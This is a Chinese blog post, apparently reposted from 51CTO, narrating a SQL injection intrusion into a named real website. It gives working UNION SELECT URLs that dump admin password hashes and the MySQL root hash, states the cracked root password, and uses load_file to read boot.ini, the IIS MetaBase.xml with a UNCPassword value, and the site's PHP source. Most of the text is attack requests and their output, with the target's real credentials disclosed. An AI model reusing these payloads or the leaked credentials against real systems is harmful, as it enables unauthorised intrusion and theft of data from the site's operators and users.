先看一個注入點:
http://www.fly-er.com.cn/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,concat(database(),0x5c,user(),0x5c,version()),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27
得到回顯:flier_dbase\root@localhost\5.0.22-community-nt
如果說注入點算是第一個漏洞,那麼這個root就是管理者制造的第二個網站漏洞了
得到資料:pub_config,pub_tree,pub_webmaster,web_img,web_keys,web_ly,web_news,web_news_review
得到資料:webmasterid,username,userpwd,loginnum,ip,lasttime,tree,name,dtime,sex,jobs
這下出來管理者資料:
http://www.fly-er.com.cn/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(DISTINCT+username,0x5f,userpwd),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+from+pub_webmaster
得到:admin_9b45d683e499e7bd
yfh_7a57a5a743894a0e//這裡是第三個漏洞了,弱密碼admin
既然找不到背景位址,那麼幹脆爆MySql管理者的密碼
<a href="http://www.fly-er.com.cn/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,concat(user,password),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+from+mysql.user">http://www.fly-er.com.cn/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,concat(user,password),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+from+mysql.user</a>
得到資料:root*CB26B0546CADD30FC2432C095A6A3D54FA3C2FFD
資料庫就一個賬戶,如果解不開,豈不是要放棄?那倒不比,第一,咱解開了,對于八位字母數字加符号的密碼,學校的分布式密碼破解系統毫不吃力的說。不過這個密碼是八位字母加符号,也算不的弱密碼,暫且不算是漏洞吧。
*CB26B0546CADD30FC2432C095A6A3D54FA3C2FFD對應的明文是qweasd)@
第二,咱還有别的路子,随便通路一個路徑,回報的是IIS6的404預設頁,說明網站伺服器是:Windows+IIS6+php+MySql的環境
先把c:\\boot.ini這串路徑進行hex編碼得到:0x633A5C5C626F6F742E696E69
然後、http://www.fly-er.com.cn/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,load_file(0x633A5C5C626F6F742E696E69),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27
看回顯:
[boot loader] timeout=30 default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS [operating systems] multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Windows Server 2003, Enterprise" /fastdetect /NoExecute=OptOut
雖然能load_file加載檔案,但是似乎用處不大。非也非也,既然是IIS6,那麼加載c:\\windows\\system32\\inetsrv\\MetaBase.xml這個路徑就可以擷取網站配置資訊了。
最後注入句就是:http://www.fly-er.com.cn/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,load_file(0x633A5C5C77696E646F77735C5C73797374656D33325C5C696E65747372765C5C4D657461426173652E786D6C),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27
得到回顯如下:
<a href="http://blog.51cto.com/attachment/201308/222104415.png" target="_blank"></a>
主要看這幾句配置:
<IIsWebServer Location ="/LM/W3SVC/2125961364"
AuthFlags="0"
LogExtFileFlags="LogExtFileDate | LogExtFileTime | LogExtFileClientIp | LogExtFileUriStem | LogExtFileUriQuery | LogExtFileHttpStatus | LogExtFileWin32Status | LogExtFileServerPort | LogExtFileUserAgent | LogExtFileHttpSubStatus"
LogFileDirectory="E:\flylog"
LogFileLocaltimeRollover="FALSE"
LogFilePeriod="1"
LogFileTruncateSize="20971520"
LogPluginClsid="{FF160663-DE82-11CF-BC0A-00AA006111E0}"
ServerAutoStart="TRUE"
ServerBindings=":80:fly-er.com.cn
:80:www.fly-er.com.cn"
ServerComment="fly-er.com.cn"
>
</IIsWebServer>
複制代碼
還有:
<IIsWebVirtualDir Location ="/LM/W3SVC/2125961364/root"
AccessFlags="AccessRead | AccessWrite | AccessScript"
AppFriendlyName="預設應用程式"
AppIsolated="2"
AppRoot="/LM/W3SVC/2125961364/Root"
AuthFlags="AuthAnonymous | AuthNTLM"
DefaultDoc="yindao.html,index.html,index.php,Default.htm,Default.asp,index.htm"
DirBrowseFlags="DirBrowseShowDate | DirBrowseShowTime | DirBrowseShowSize | DirBrowseShowExtension | DirBrowseShowLongDate | EnableDefaultDoc"
Path="F:\web\2010716\new_flyer"
UNCPassword="49634462500000000600000040000000894077f761d33600623e24d0e5dfbe254f63ee6490a3af6f918760ac2fbd00627e07669149f74641659a4383366f9edefd9c02f6555c8692c1c93d2483008b9721cbdae4fac9a380"
</IIsWebVirtualDir>
這下子我們構造:
http://www.fly-er.com.cn/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,load_file(0x463A5C5C7765625C5C323031303731365C5C6E65775F666C7965725C5C696E6465782E706870),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27
右鍵檢視源代碼就可以了
*注:load_file用的時候,最好在外面加一個hex即:hex(load_file(xxxxxxx))
因為我遇到過一個網站,首頁不知道是哪裡的代碼有問題,注入點在首頁。我用首頁load_file首頁檔案,外面沒嵌套hex的話,首頁就被循環顯示了,就是類似這樣:index裡面有一個iframe,iframe加載的是index這個檔案,index這個檔案裡面的iframe又加載index這個檔案,循環往複下去,直到把機器資源耗盡。雖然不知道當時那個網站是不是這個iframe,但是這樣的嵌套确實有死循環發生,是以建議hex嵌套load_file
我比較在意的是index裡面這樣的一個地方的代碼:
require('admin_flier/common/function.php');
require('admin_flier/lib/class/form.class.php');
require('admin_flier/lib/class/db.class.php');
require('admin_flier/lib/class/page.class.php');
include('inc/head.php');
呵呵,這裡不就是背景位址麼?
<a href="http://blog.51cto.com/attachment/201308/222106410.png" target="_blank"></a>
顯然,背景的安全性也不夠。就算是隐藏了背景位址,工具掃不到,那也不意味着可以放松背景的安全性吧?
本文轉自Tar0 51CTO部落格,原文連結:http://blog.51cto.com/tar0cissp/1280209,如需轉載請自行聯系原作者